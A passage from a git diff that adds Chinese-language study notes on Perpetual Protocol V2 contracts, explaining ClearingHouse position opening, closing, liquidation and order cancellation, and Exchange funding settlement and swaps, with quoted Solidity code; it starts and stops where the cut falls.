+    // register token if it's the first time
+    IAccountBalance(_accountBalance).registerBaseToken(trader, params.baseToken);
+
+    // must settle funding first
+    _settleFunding(trader, params.baseToken);
+
+    IExchange.SwapResponse memory response =
+        _openPosition(
+            InternalOpenPositionParams({
+                trader: trader,
+                baseToken: params.baseToken,
+                isBaseToQuote: params.isBaseToQuote,
+                isExactInput: params.isExactInput,
+                amount: params.amount,
+                isClose: false,
+                sqrtPriceLimitX96: params.sqrtPriceLimitX96,
+                isLiquidation: false
+            })
+        );
+
+    _checkSlippage(
+        InternalCheckSlippageParams({
+            isBaseToQuote: params.isBaseToQuote,
+            isExactInput: params.isExactInput,
+            base: response.base,
+            quote: response.quote,
+            oppositeAmountBound: params.oppositeAmountBound
+        })
+    );
+
+    if (params.referralCode != 0) {
+        emit ReferredPositionChanged(params.referralCode);
+    }
+    return (response.base, response.quote);
+}
+
+```
+
+### closePosition
+
+关闭头寸；
+
+1. 检查 base token market 状态，必须为 Open 状态;
+2. 结算 funding payment
+3. `_closePosition()` 实际执行关闭头寸的逻辑
+4. 检查关闭头寸之后的滑点情况，根据 `oppositeAmountBound` 入参来判断交易是否满足滑点要求，否则 revert
+5. 发送 `referralCode` 便于计算返佣
+
+```solidity
+struct ClosePositionParams {
+    address baseToken;
+    uint160 sqrtPriceLimitX96;
+    uint256 oppositeAmountBound;
+    uint256 deadline;
+    bytes32 referralCode;
+}
+
+/// @inheritdoc IClearingHouse
+function closePosition(ClosePositionParams calldata params)
+    external
+    override
+    whenNotPaused
+    nonReentrant
+    checkDeadline(params.deadline)
+    returns (uint256 base, uint256 quote)
+{
+    // input requirement checks:
+    //   baseToken: in Exchange.settleFunding()
+    //   sqrtPriceLimitX96: X (this is not for slippage protection)
+    //   oppositeAmountBound: in _checkSlippage()
+    //   deadline: here
+    //   referralCode: X
+
+    _checkMarketOpen(params.baseToken);
+
+    address trader = _msgSender();
+
+    // must settle funding first
+    _settleFunding(trader, params.baseToken);
+
+    IExchange.SwapResponse memory response =
+        _closePosition(
+            InternalClosePositionParams({
+                trader: trader,
+                baseToken: params.baseToken,
+                sqrtPriceLimitX96: params.sqrtPriceLimitX96,
+                isLiquidation: false
+            })
+        );
+
+    // if exchangedPositionSize < 0, closing it is short, B2Q; else, closing it is long, Q2B
+    bool isBaseToQuote = response.exchangedPositionSize < 0 ? true : false;
+    uint256 oppositeAmountBound = _getPartialOppositeAmount(params.oppositeAmountBound, response.isPartialClose);
+
+    _checkSlippage(
+        InternalCheckSlippageParams({
+            isBaseToQuote: isBaseToQuote,
+            isExactInput: isBaseToQuote,
+            base: response.base,
+            quote: response.quote,
+            oppositeAmountBound: oppositeAmountBound
+        })
+    );
+
+    if (params.referralCode != 0) {
+        emit ReferredPositionChanged(params.referralCode);
+    }
+    return (response.base, response.quote);
+}
+```
+
+#### \_closePosition
+
+实际执行关闭头寸的逻辑;
+
+1. 获取用户 take 部分的头寸规模 `_getTakerPosition()`, 其必须大于 0
+2. 根据头寸是多还是空，开反向仓位去平仓
+
+```solidity
+/// @dev The actual close position logic.
+function _closePosition(InternalClosePositionParams memory params)
+    internal
+    returns (IExchange.SwapResponse memory)
+{
+    int256 positionSize = _getTakerPosition(params.trader, params.baseToken);
+
+    // CH_PSZ: position size is zero
+    require(positionSize != 0, "CH_PSZ");
+
+    // old position is long. when closing, it's baseToQuote && exactInput (sell exact base)
+    // old position is short. when closing, it's quoteToBase && exactOutput (buy exact base back)
+    bool isBaseToQuote = positionSize > 0;
+    return
+        _openPosition(
+            InternalOpenPositionParams({
+                trader: params.trader,
+                baseToken: params.baseToken,
+                isBaseToQuote: isBaseToQuote,
+                isExactInput: isBaseToQuote,
+                isClose: true,
+                amount: positionSize.abs(),
+                sqrtPriceLimitX96: params.sqrtPriceLimitX96,
+                isLiquidation: params.isLiquidation
+            })
+        );
+}
+```
+
+
+### _openPosition todo
+
+
+### liquidate
+
+清算已爆仓的头寸
+
+1. 获取被清算人的 take 仓位规模，其必须大于 0
+2. `_liquidate` 实际执行清算逻辑
+3. 检查清算之后的滑点情况，根据 `oppositeAmountBound` 入参来判断交易是否满足滑点要求，否则 revert
+
+可清算条件:
+
+1. 被清算人必须没有流动性 (range order), 如果有第三方可以提前执行 `cancelExcessOrders` 清除其流动性
+2. `accountMarginRatio < mmRatio`
+   - `accountMarginRatio = accountValue / sum(abs(positionValue_market))`
+   - `mmRatio: minimum-margin ratio, 6.25% in decimal 6`
+
+清算人受益：
+
+从被清算人的被清算头寸价值中转移部分到清算人名下，按照 `_liquidationPenaltyRatio` 的比例计算 （initial penalty ratio, 2.5% in decimal 6）
+
+```solidity
+
+/// @inheritdoc IClearingHouse
+function liquidate(address trader, address baseToken) external override whenNotPaused nonReentrant {
+    _checkMarketOpen(baseToken);
+    _liquidate(trader, baseToken);
+}
+
+/// @inheritdoc IClearingHouse
+function liquidate(
+    address trader,
+    address baseToken,
+    uint256 oppositeAmountBound
+)
+    external
+    override
+    whenNotPaused
+    nonReentrant
+    returns (
+        uint256 base,
+        uint256 quote,
+        bool isPartialClose
+    )
+{
+    _checkMarketOpen(baseToken);
+
+    // getTakerPosSize == getTotalPosSize now, because it will revert in _liquidate() if there's any maker order
+    int256 positionSize = _getTakerPosition(trader, baseToken);
+
+    // if positionSize > 0, it's long base, and closing it is thus short base, B2Q;
+    // else, closing it is long base, Q2B
+    bool isBaseToQuote = positionSize > 0;
+
+    (base, quote, isPartialClose) = _liquidate(trader, baseToken);
+
+    oppositeAmountBound = _getPartialOppositeAmount(oppositeAmountBound, isPartialClose);
+    _checkSlippage(
+        InternalCheckSlippageParams({
+            isBaseToQuote: isBaseToQuote,
+            isExactInput: isBaseToQuote,
+            base: base,
+            quote: quote,
+            oppositeAmountBound: oppositeAmountBound
+        })
+    );
+
+    return (base, quote, isPartialClose);
+}
+
+```
+
+#### \_liquidate
+
+实际执行清算的逻辑;
+
+1. 判断被清算人是否达到可清算条件
+2. 结算被清算人的 funding payment
+3. 关闭被清算的头寸
+4. 按照比例转移被清算头寸的价值，从被清算人名下到清算人名下
+5. 更新被清算人 和 清算人的 Pnl
+
+```solidity
+function _liquidate(address trader, address baseToken)
+    internal
+    returns (
+        uint256 base,
+        uint256 quote,
+        bool isPartialClose
+    )
+{
+    // liquidation trigger:
+    //   accountMarginRatio < accountMaintenanceMarginRatio
+    //   => accountValue / sum(abs(positionValue_market)) <
+    //        sum(mmRatio * abs(positionValue_market)) / sum(abs(positionValue_market))
+    //   => accountValue < sum(mmRatio * abs(positionValue_market))
+    //   => accountValue < sum(abs(positionValue_market)) * mmRatio = totalMinimumMarginRequirement
+    //
+
+    // input requirement checks:
+    //   trader: here
+    //   baseToken: in Exchange.settleFunding()
+
+    // CH_CLWTISO: cannot liquidate when there is still order
+    require(!IAccountBalance(_accountBalance).hasOrder(trader), "CH_CLWTISO");
+
+    // CH_EAV: enough account value
+    require(_isLiquidatable(trader), "CH_EAV");
+
+    // must settle funding first
+    _settleFunding(trader, baseToken);
+    IExchange.SwapResponse memory response =
+        _closePosition(
+            InternalClosePositionParams({
+                trader: trader,
+                baseToken: baseToken,
+                sqrtPriceLimitX96: 0,
+                isLiquidation: true
+            })
+        );
+
+    // trader's pnl-- as liquidation penalty
+    uint256 liquidationFee =
+        response.exchangedPositionNotional.abs().mulRatio(
+            IClearingHouseConfig(_clearingHouseConfig).getLiquidationPenaltyRatio()
+        );
+
+    _modifyOwedRealizedPnl(trader, liquidationFee.neg256());
+
+    // increase liquidator's pnl liquidation reward
+    address liquidator = _msgSender();
+    _modifyOwedRealizedPnl(liquidator, liquidationFee.toInt256());
+
+    emit PositionLiquidated(
+        trader,
+        baseToken,
+        response.exchangedPositionNotional.abs(),
+        response.base,
+        liquidationFee,
+        liquidator
+    );
+
+    return (response.base, response.quote, response.isPartialClose);
+}
+
+function _isLiquidatable(address trader) internal view returns (bool) {
+    return getAccountValue(trader) < IAccountBalance(_accountBalance).getMarginRequirementForLiquidation(trader);
+}
+```
+
+### cancelExcessOrders
+
+当某用户爆仓，第三方可以帮忙移除其流动性(range order)，以便进行清算;
+
+1. 检查 base token market 必须是 Open 状态
+2. `_cancelExcessOrders` 实际执行取消 range order 的逻辑
+
+只有被执行者的 `free collateral with mmRatio < 0` 或者满足被清算条件，才能执行该函数;
+
+`freeCollateral = min(totalCollateralValue, accountValue) - openOrderMarginReq`
+
+```solidity
+/// @inheritdoc IClearingHouse
+function cancelExcessOrders(
+    address maker,
+    address baseToken,
+    bytes32[] calldata orderIds
+) external override whenNotPaused nonReentrant {
+    // input requirement checks:
+    //   maker: in _cancelExcessOrders()
+    //   baseToken: in Exchange.settleFunding()
+    //   orderIds: in OrderBook.removeLiquidityByIds()
+
+    _checkMarketOpen(baseToken);
+    _cancelExcessOrders(maker, baseToken, orderIds);
+}
+
+/// @inheritdoc IClearingHouse
+function cancelAllExcessOrders(address maker, address baseToken) external override whenNotPaused nonReentrant {
+    // input requirement checks:
+    //   maker: in _cancelExcessOrders()
+    //   baseToken: in Exchange.settleFunding()
+    //   orderIds: in OrderBook.removeLiquidityByIds()
+
+    _checkMarketOpen(baseToken);
+    _cancelExcessOrders(maker, baseToken, IOrderBook(_orderBook).getOpenOrderIds(maker, baseToken));
+}
+```
+
+#### \_cancelExcessOrders
+
+实际执行取消 range order 的逻辑;
+
+1. 检查 `free collateral with mmRatio < 0` 或满足被清算的条件
+2. 结算被清算人的 funding payment
+3. 遍历被清算人的所有 range order，逐一关闭
+
+```solidity
+/// @dev only cancel open orders if there are not enough free collateral with mmRatio
+/// or account is able to being liquidated.
+function _cancelExcessOrders(
+    address maker,
+    address baseToken,
+    bytes32[] memory orderIds
+) internal {
+    if (orderIds.length == 0) {
+        return;
+    }
+
+    // CH_NEXO: not excess orders
+    require(
+        (_getFreeCollateralByRatio(maker, IClearingHouseConfig(_clearingHouseConfig).getMmRatio()) < 0) ||
+            _isLiquidatable(maker),
+        "CH_NEXO"
+    );
+
+    // must settle funding first
+    _settleFunding(maker, baseToken);
+
+    IOrderBook.RemoveLiquidityResponse memory removeLiquidityResponse;
+
+    uint256 length = orderIds.length;
+    for (uint256 i = 0; i < length; i++) {
+        OpenOrder.Info memory order = IOrderBook(_orderBook).getOpenOrderById(orderIds[i]);
+
+        IOrderBook.RemoveLiquidityResponse memory response = IOrderBook(_orderBook).removeLiquidity(
+            IOrderBook.RemoveLiquidityParams({
+                maker: maker,
+                baseToken: baseToken,
+                lowerTick: order.lowerTick,
+                upperTick: order.upperTick,
+                liquidity: order.liquidity
+            })
+        );
+
+        removeLiquidityResponse.base = removeLiquidityResponse.base.add(response.base);
+        removeLiquidityResponse.quote = removeLiquidityResponse.quote.add(response.quote);
+        removeLiquidityResponse.fee = removeLiquidityResponse.fee.add(response.fee);
+        removeLiquidityResponse.takerBase = removeLiquidityResponse.takerBase.add(response.takerBase);
+        removeLiquidityResponse.takerQuote = removeLiquidityResponse.takerQuote.add(response.takerQuote);
+
+        emit LiquidityChanged(
+            maker,
+            baseToken,
+            _quoteToken,
+            order.lowerTick,
+            order.upperTick,
+            response.base.neg256(),
+            response.quote.neg256(),
+            order.liquidity.neg128(),
+            response.fee
+        );
+    }
+
+    int256 realizedPnl = _settleBalanceAndRealizePnl(maker, baseToken, removeLiquidityResponse);
+
+    uint256 sqrtPrice = _getSqrtMarkTwapX96(baseToken, 0);
+    int256 openNotional = _getTakerOpenNotional(maker, baseToken);
+    _emitPositionChanged(
+        maker,
+        baseToken,
+        removeLiquidityResponse.takerBase, // exchangedPositionSize
+        removeLiquidityResponse.takerQuote, // exchangedPositionNotional
+        0,
+        openNotional,
+        realizedPnl, // realizedPnl
+        sqrtPrice
+    );
+}
+```
+
+### uniswapV3MintCallback
+
+Uniswap v3 pool 的 mint 回调函数，将对应的 token 转给 pool 合约。如果金额不足会报错。
+
+```solidity
+/// @inheritdoc IUniswapV3MintCallback
+/// @dev namings here follow Uniswap's convention
+function uniswapV3MintCallback(
+    uint256 amount0Owed,
+    uint256 amount1Owed,
+    bytes calldata data
+) external override {
+    // input requirement checks:
+    //   amount0Owed: here
+    //   amount1Owed: here
+    //   data: X
+
+    // For caller validation purposes it would be more efficient and more reliable to use
+    // "msg.sender" instead of "_msgSender()" as contracts never call each other through GSN.
+    // not orderbook
+    require(msg.sender == _orderBook, "CH_NOB");
+
+    IOrderBook.MintCallbackData memory callbackData = abi.decode(data, (IOrderBook.MintCallbackData));
+
+    if (amount0Owed > 0) {
+        address token = IUniswapV3Pool(callbackData.pool).token0();
+        // CH_TF: Transfer failed
+        require(IERC20Metadata(token).transfer(callbackData.pool, amount0Owed), "CH_TF");
+    }
+    if (amount1Owed > 0) {
+        address token = IUniswapV3Pool(callbackData.pool).token1();
+        // CH_TF: Transfer failed
+        require(IERC20Metadata(token).transfer(callbackData.pool, amount1Owed), "CH_TF");
+    }
+}
+```
+
+### uniswapV3SwapCallback
+
+### \_settleBalanceAndRealizePnl
+
+结算未实现的 Pnl，并返回其数量；该函数只有在 remove liquidity 时使用；
+
+由于做市会有被动的资产变动(受 taker 交易影响)，其 Pnl 不是实时更新，需要在操作流动性之前结算这部分未更新的 Pnl
+
+1. 若有 base token 需要移除，计算反向开仓造成的未结算 Pnl
+2. 结算当前未实现的 Pnl
+
+```solidity
+/// @dev Calculate how much profit/loss we should settled,
+/// only used when removing liquidity. The profit/loss is calculated by using
+/// the removed base/quote amount and existing taker's base/quote amount.
+function _settleBalanceAndRealizePnl(
+    address maker,
+    address baseToken,
+    IOrderBook.RemoveLiquidityResponse memory response
+) internal returns (int256) {
+    int256 pnlToBeRealized;
+    if (response.takerBase != 0) {
+        pnlToBeRealized = IExchange(_exchange).getPnlToBeRealized(
+            IExchange.RealizePnlParams({
+                trader: maker,
+                baseToken: baseToken,
+                base: response.takerBase,
+                quote: response.takerQuote
+            })
+        );
+    }
+
+    // pnlToBeRealized is realized here
+    IAccountBalance(_accountBalance).settleBalanceAndDeregister(
+        maker,
+        baseToken,
+        response.takerBase,
+        response.takerQuote,
+        pnlToBeRealized,
+        response.fee.toInt256()
+    );
+
+    return pnlToBeRealized;
+}
+```
+
+#### settleBalanceAndDeregister
+
+减少仓位数值，若此时已无 range order 则直接让 `realizedPnl = getQuote()`，消除未能扣除干净的极小数值 (dust)
+
+1. 根据传入数值更新仓位价值
+2. 若此时已无 range order，则直接以 takerOpenNotional 赋值（完全以 take 部分为准，舍弃 make 部分的 dust 价值）
+
+```solidity
+/// @inheritdoc IAccountBalance
+function settleBalanceAndDeregister(
+    address maker,
+    address baseToken,
+    int256 takerBase,
+    int256 takerQuote,
+    int256 realizedPnl,
+    int256 fee
+) external override {
+    _requireOnlyClearingHouse();
+    _modifyTakerBalance(maker, baseToken, takerBase, takerQuote);
+    _modifyOwedRealizedPnl(maker, fee);
+
+    // to avoid dust, let realizedPnl = getQuote() when there's no order
+    if (
+        getTakerPositionSize(maker, baseToken) == 0 &&
+        IOrderBook(_orderBook).getOpenOrderIds(maker, baseToken).length == 0
+    ) {
+        // only need to take care of taker's accounting when there's no order
+        int256 takerOpenNotional = _accountMarketMap[maker][baseToken].takerOpenNotional;
+        // AB_IQBAR: inconsistent quote balance and realizedPnl
+        require(realizedPnl.abs() <= takerOpenNotional.abs(), "AB_IQBAR");
+        realizedPnl = takerOpenNotional;
+    }
+
+    // @audit should merge _addOwedRealizedPnl and settleQuoteToOwedRealizedPnl in some way.
+    // PnlRealized will be emitted three times when removing trader's liquidity
+    _settleQuoteToOwedRealizedPnl(maker, baseToken, realizedPnl);
+    _deregisterBaseToken(maker, baseToken);
+}
+```
+
+### \_openPosition
+
+内部开仓函数，进行开仓的实际操作
+
+1. [Exchange.swap](./Exchange.md#swap) 调用 Exchange 合约的 swap 方法进行交易
+
+```solidity
+/// @dev explainer diagram for the relationship between exchangedPositionNotional, fee and openNotional:
+///      https://www.figma.com/file/xuue5qGH4RalX7uAbbzgP3/swap-accounting-and-events
+function _openPosition(InternalOpenPositionParams memory params) internal returns (IExchange.SwapResponse memory) {
+    IExchange.SwapResponse memory response =
+        IExchange(_exchange).swap(
+            IExchange.SwapParams({
+                trader: params.trader,
+                baseToken: params.baseToken,
+                isBaseToQuote: params.isBaseToQuote,
+                isExactInput: params.isExactInput,
+                isClose: params.isClose,
+                amount: params.amount,
+                sqrtPriceLimitX96: params.sqrtPriceLimitX96
+            })
+        );
+
+    _modifyOwedRealizedPnl(_insuranceFund, response.insuranceFundFee.toInt256());
+
+    IAccountBalance(_accountBalance).modifyTakerBalance(
+        params.trader,
+        params.baseToken,
+        response.exchangedPositionSize,
+        response.exchangedPositionNotional.sub(response.fee.toInt256())
+    );
+
+    if (response.pnlToBeRealized != 0) {
+        IAccountBalance(_accountBalance).settleQuoteToOwedRealizedPnl(
+            params.trader,
+            params.baseToken,
+            response.pnlToBeRealized
+        );
+
+        // if realized pnl is not zero, that means trader is reducing or closing position
+        // trader cannot reduce/close position if bad debt happen
+        // unless it's a liquidation from backstop liquidity provider
+        // CH_BD: trader has bad debt after reducing/closing position
+        require(
+            (params.isLiquidation &&
+                IClearingHouseConfig(_clearingHouseConfig).isBackstopLiquidityProvider(_msgSender())) ||
+                getAccountValue(params.trader) >= 0,
+            "CH_BD"
+        );
+    }
+
+    // if not closing a position, check margin ratio after swap
+    if (!params.isClose) {
+        _requireEnoughFreeCollateral(params.trader);
+    }
+
+    int256 openNotional = _getTakerOpenNotional(params.trader, params.baseToken);
+    _emitPositionChanged(
+        params.trader,
+        params.baseToken,
+        response.exchangedPositionSize,
+        response.exchangedPositionNotional,
+        response.fee,
+        openNotional,
+        response.pnlToBeRealized,
+        response.sqrtPriceAfterX96
+    );
+
+    IAccountBalance(_accountBalance).deregisterBaseToken(params.trader, params.baseToken);
+
+    return response;
+}
+
+```
+
+### \_checkSlippage
+
+## view functions
+
+### getQuoteToken
+
+### getUniswapV3Factory
+
+### getClearingHouseConfig
+
+### getExchange
+
+### getOrderBook
+
+### getAccountBalance
+
+### getInsuranceFund
+
+### getAccountValue
+
+## Reference
+
+- Perp v2 Integration Guide & Code Samples: <https://perp.notion.site/Perp-v2-Integration-Guide-Code-Samples-01943c0520624e43bf58bc4c3368db07>
diff --git a/defi/Perpetual-V2/contracts/Exchange.md b/defi/Perpetual-V2/contracts/Exchange.md
new file mode 100644
index 000000000..082d564fc
--- /dev/null
+++ b/defi/Perpetual-V2/contracts/Exchange.md
@@ -0,0 +1,506 @@
+# Exchange
+
+## Non-view
+
+### settleFunding
+
+1. 只能被 ClearningHouse 调用, 不能是非市场中的 token 资产
+2. 获取 `Mark price`, `Index price`, 全局累计变量 `fundingGrowthGlobal`
+3. 获取用户未结算的 funding payment
+4. 更新 `_globalFundingGrowthX96Map` , 同一区块多笔交易，只取第一笔交易的数据
+
+```solidity
+/// @inheritdoc IExchange
+function settleFunding(address trader, address baseToken)
+    external
+    override
+    returns (int256 fundingPayment, Funding.Growth memory fundingGrowthGlobal)
+{
+    _requireOnlyClearingHouse();
+    // EX_BTNE: base token does not exists
+    require(IMarketRegistry(_marketRegistry).hasPool(baseToken), "EX_BTNE");
+
+    uint256 markTwap;
+    uint256 indexTwap;
+    (fundingGrowthGlobal, markTwap, indexTwap) = _getFundingGrowthGlobalAndTwaps(baseToken);
+
+    fundingPayment = _updateFundingGrowth(
+        trader,
+        baseToken,
+        IAccountBalance(_accountBalance).getBase(trader, baseToken),
+        IAccountBalance(_accountBalance).getAccountInfo(trader, baseToken).lastTwPremiumGrowthGlobalX96,
+        fundingGrowthGlobal
+    );
+
+    // funding will be stopped once the market is being paused
+    uint256 timestamp =
+        IBaseToken(baseToken).isOpen() ? _blockTimestamp() : IBaseToken(baseToken).getPausedTimestamp();
+
+    // update states before further actions in this block; once per block
+    if (timestamp != _lastSettledTimestampMap[baseToken]) {
+        // update fundingGrowthGlobal and _lastSettledTimestamp
+        Funding.Growth storage lastFundingGrowthGlobal = _globalFundingGrowthX96Map[baseToken];
+        (
+            _lastSettledTimestampMap[baseToken],
+            lastFundingGrowthGlobal.twPremiumX96,
+            lastFundingGrowthGlobal.twPremiumDivBySqrtPriceX96
+        ) = (timestamp, fundingGrowthGlobal.twPremiumX96, fundingGrowthGlobal.twPremiumDivBySqrtPriceX96);
+
+        emit FundingUpdated(baseToken, markTwap, indexTwap);
+
+        // update tick for price limit checks
+        _lastUpdatedTickMap[baseToken] = _getTick(baseToken);
+    }
+
+    return (fundingPayment, fundingGrowthGlobal);
+}
+```
+
+### \_updateFundingGrowth
+
+getPendingFundingPayment 的 non-view 版本
+
+1. [IOrderBook.updateFundingGrowthAndLiquidityCoefficientInFundingPayment](./OrderBook.md#updatefundinggrowthandliquiditycoefficientinfundingpayment)
+   - 遍历 trader 的所有 range order，累计其所有 funding payment 的 growth 累计值
+2. 根据 base token 仓位计算未结算的 funding payment
+
+```solidity
+/// @dev this is the non-view version of getPendingFundingPayment()
+/// @return pendingFundingPayment the pending funding payment of a trader in one market,
+///         including liquidity & balance coefficients
+function _updateFundingGrowth(
+    address trader,
+    address baseToken,
+    int256 baseBalance,
+    int256 twPremiumGrowthGlobalX96,
+    Funding.Growth memory fundingGrowthGlobal
+) internal returns (int256 pendingFundingPayment) {
+    int256 liquidityCoefficientInFundingPayment =
+        IOrderBook(_orderBook).updateFundingGrowthAndLiquidityCoefficientInFundingPayment(
+            trader,
+            baseToken,
+            fundingGrowthGlobal
+        );
+
+    return
+        Funding.calcPendingFundingPaymentWithLiquidityCoefficient(
+            baseBalance,
+            twPremiumGrowthGlobalX96,
+            fundingGrowthGlobal,
+            liquidityCoefficientInFundingPayment
+        );
+}
+```
+
+#### calcPendingFundingPaymentWithLiquidityCoefficient
+
+根据 base token 仓位计算未结算的 funding payment
+
+```math
+baseBalance * (fundingGrowthGlobal.twPremiumX96 - twPremiumGrowthGlobalX96)
+```
+
+```solidity
+// lib/Funding.sol
+function calcPendingFundingPaymentWithLiquidityCoefficient(
+    int256 baseBalance,
+    int256 twPremiumGrowthGlobalX96,
+    Growth memory fundingGrowthGlobal,
+    int256 liquidityCoefficientInFundingPayment
+) internal pure returns (int256) {
+    int256 balanceCoefficientInFundingPayment =
+        PerpMath.mulDiv(
+            baseBalance,
+            fundingGrowthGlobal.twPremiumX96.sub(twPremiumGrowthGlobalX96),
+            uint256(PerpFixedPoint96._IQ96)
+        );
+
+    return
+        liquidityCoefficientInFundingPayment.add(balanceCoefficientInFundingPayment).div(_DEFAULT_FUNDING_PERIOD);
+}
+```
+
+### swap
+
+调用 Uniswap V3 pool 进行交易，交易包含两种手续费，一种是 Uniswap v3 pool 本身的手续费，一种是 perp 收取的交易费
+
+1. 只能由 ClearningHouse 进行调用
+2. base token market 未暂停； 根据 `_maxTickCrossedWithinBlockMap` 判断，该字段会限制每次交易价格最多穿过多少个 tick，如果为 0 ，说明该 market 已暂停，不能进行交易
+3. 如果是新开头寸，只要交易对价格的影响超过限制，则直接 revert (价格变化允许最多穿多个 tick `getMaxTickCrossedWithinBlock(baseToken)`)
+4. 如果是关闭头寸，如果交易对价格的影响超过限制，则按照上限只关闭部分仓位
+5. 调用 `_swap` 进行实际交易，对用户 Pnl 进行更新
+
+```solidity
+/// @param amount when closing position, amount(uint256) == takerPositionSize(int256),
+/// as amount is assigned as takerPositionSize in ClearingHouse.closePosition()
+struct SwapParams {
+    address trader;
+    address baseToken;
+    bool isBaseToQuote;
+    bool isExactInput;
+    bool isClose;
+    uint256 amount;
+    uint160 sqrtPriceLimitX96;
+}
+
+/// @param params The parameters of the swap
+/// @return The result of the swap
+/// @dev can only be called from ClearingHouse
+/// @inheritdoc IExchange
+function swap(SwapParams memory params) external override returns (SwapResponse memory) {
+    _requireOnlyClearingHouse();
+
+    // EX_MIP: market is paused
+    require(_maxTickCrossedWithinBlockMap[params.baseToken] > 0, "EX_MIP");
+
+    int256 takerPositionSize =
+        IAccountBalance(_accountBalance).getTakerPositionSize(params.trader, params.baseToken);
+
+    bool isPartialClose;
+    bool isOverPriceLimit = _isOverPriceLimit(params.baseToken);
+    // if over price limit when
+    // 1. closing a position, then partially close the position
+    // 2. else then revert
+    if (params.isClose && takerPositionSize != 0) {
+        // if trader is on long side, baseToQuote: true, exactInput: true
+        // if trader is on short side, baseToQuote: false (quoteToBase), exactInput: false (exactOutput)
+        // simulate the tx to see if it _isOverPriceLimit; if true, can partially close the position only once
+        // if this is not the first tx in this timestamp and it's already over limit,
+        // then use _isOverPriceLimit is enough
+        if (
+            isOverPriceLimit ||
+            _isOverPriceLimitBySimulatingClosingPosition(
+                params.baseToken,
+                takerPositionSize < 0, // it's a short position
+                params.amount // it's the same as takerPositionSize but in uint256
+            )
+        ) {
+            uint256 timestamp = _blockTimestamp();
+            // EX_AOPLO: already over price limit once
+            require(timestamp != _lastOverPriceLimitTimestampMap[params.trader][params.baseToken], "EX_AOPLO");
+
+            _lastOverPriceLimitTimestampMap[params.trader][params.baseToken] = timestamp;
+
+            uint24 partialCloseRatio = IClearingHouseConfig(_clearingHouseConfig).getPartialCloseRatio();
+            params.amount = params.amount.mulRatio(partialCloseRatio);
+            isPartialClose = true;
+        }
+    } else {
+        // EX_OPLBS: over price limit before swap
+        require(!isOverPriceLimit, "EX_OPLBS");
+    }
+
+    // get openNotional before swap
+    int256 oldTakerOpenNotional =
+        IAccountBalance(_accountBalance).getTakerOpenNotional(params.trader, params.baseToken);
+    InternalSwapResponse memory response = _swap(params);
+
+    if (!params.isClose) {
+        // over price limit after swap
+        require(!_isOverPriceLimitWithTick(params.baseToken, response.tick), "EX_OPLAS");
+    }
+
+    // when takerPositionSize < 0, it's a short position
+    bool isReducingPosition = takerPositionSize == 0 ? false : takerPositionSize < 0 != params.isBaseToQuote;
+    // when reducing/not increasing the position size, it's necessary to realize pnl
+    int256 pnlToBeRealized;
+    if (isReducingPosition) {
+        pnlToBeRealized = _getPnlToBeRealized(
+            InternalRealizePnlParams({
+                trader: params.trader,
+                baseToken: params.baseToken,
+                takerPositionSize: takerPositionSize,
+                takerOpenNotional: oldTakerOpenNotional,
+                base: response.base,
+                quote: response.quote
+            })
+        );
+    }
+
+    (uint256 sqrtPriceX96, , , , , , ) =
+        UniswapV3Broker.getSlot0(IMarketRegistry(_marketRegistry).getPool(params.baseToken));
+    return
+        SwapResponse({
+            base: response.base.abs(),
+            quote: response.quote.abs(),
+            exchangedPositionSize: response.exchangedPositionSize,
+            exchangedPositionNotional: response.exchangedPositionNotional,
+            fee: response.fee,
+            insuranceFundFee: response.insuranceFundFee,
+            pnlToBeRealized: pnlToBeRealized,
+            sqrtPriceAfterX96: sqrtPriceX96,
+            tick: response.tick,
+            isPartialClose: isPartialClose
+        });
+}
+```
+
+`_swap` 调用 Uniswap V3 pool 进行 v-token 交换
+
+由于 perp 也对交易收取手续费，所以在进行 uniswap 交易之前，需要先估算 perp 的手续费
+
+1. `SwapMath.calcScaledAmountForSwaps` 根据手续费比例，对输入或者输出数量进行缩放，使其已经考虑 perp 手续费
+2. `OrderBook.replaySwap` 模拟进行 uniswap 交易，估算 uniswap 的手续费以及保险准备金 `insuranceFundfee`
+3. 调用 `UniswapV3Broker.swap` 进行实际交易
+
+```solidity
+/// @dev customized fee: https://www.notion.so/perp/Customise-fee-tier-on-B2QFee-1b7244e1db63416c8651e8fa04128cdb
+function _swap(SwapParams memory params) internal returns (InternalSwapResponse memory) {
+    IMarketRegistry.MarketInfo memory marketInfo = IMarketRegistry(_marketRegistry).getMarketInfo(params.baseToken);
+
+    (uint256 scaledAmountForUniswapV3PoolSwap, int256 signedScaledAmountForReplaySwap) =
+        SwapMath.calcScaledAmountForSwaps(
+            params.isBaseToQuote,
+            params.isExactInput,
+            params.amount,
+            marketInfo.exchangeFeeRatio,
+            marketInfo.uniswapFeeRatio
+        );
+
+    (Funding.Growth memory fundingGrowthGlobal, , ) = _getFundingGrowthGlobalAndTwaps(params.baseToken);
+    // simulate the swap to calculate the fees charged in exchange
+    IOrderBook.ReplaySwapResponse memory replayResponse =
+        IOrderBook(_orderBook).replaySwap(
+            IOrderBook.ReplaySwapParams({
+                baseToken: params.baseToken,
+                isBaseToQuote: params.isBaseToQuote,
+                shouldUpdateState: true,
+                amount: signedScaledAmountForReplaySwap,
+                sqrtPriceLimitX96: params.sqrtPriceLimitX96,
+                exchangeFeeRatio: marketInfo.exchangeFeeRatio,
+                uniswapFeeRatio: marketInfo.uniswapFeeRatio,
+                globalFundingGrowth: fundingGrowthGlobal
+            })
+        );
+    UniswapV3Broker.SwapResponse memory response =
+        UniswapV3Broker.swap(
+            UniswapV3Broker.SwapParams(
+                marketInfo.pool,
+                _clearingHouse,
+                params.isBaseToQuote,
+                params.isExactInput,
+                // mint extra base token before swap
+                scaledAmountForUniswapV3PoolSwap,
+                params.sqrtPriceLimitX96,
+                abi.encode(
+                    SwapCallbackData({
+                        trader: params.trader,
+                        baseToken: params.baseToken,
+                        pool: marketInfo.pool,
+                        fee: replayResponse.fee,
+                        uniswapFeeRatio: marketInfo.uniswapFeeRatio
+                    })
+                )
+            )
+        );
+
+    // as we charge fees in ClearingHouse instead of in Uniswap pools,
+    // we need to scale up base or quote amounts to get the exact exchanged position size and notional
+    int256 exchangedPositionSize;
+    int256 exchangedPositionNotional;
+    if (params.isBaseToQuote) {
+        // short: exchangedPositionSize <= 0 && exchangedPositionNotional >= 0
+        exchangedPositionSize = SwapMath
+            .calcAmountScaledByFeeRatio(response.base, marketInfo.uniswapFeeRatio, false)
+            .neg256();
+        // due to base to quote fee, exchangedPositionNotional contains the fee
+        // s.t. we can take the fee away from exchangedPositionNotional
+        exchangedPositionNotional = response.quote.toInt256();
+    } else {
+        // long: exchangedPositionSize >= 0 && exchangedPositionNotional <= 0
+        exchangedPositionSize = response.base.toInt256();
+        exchangedPositionNotional = SwapMath
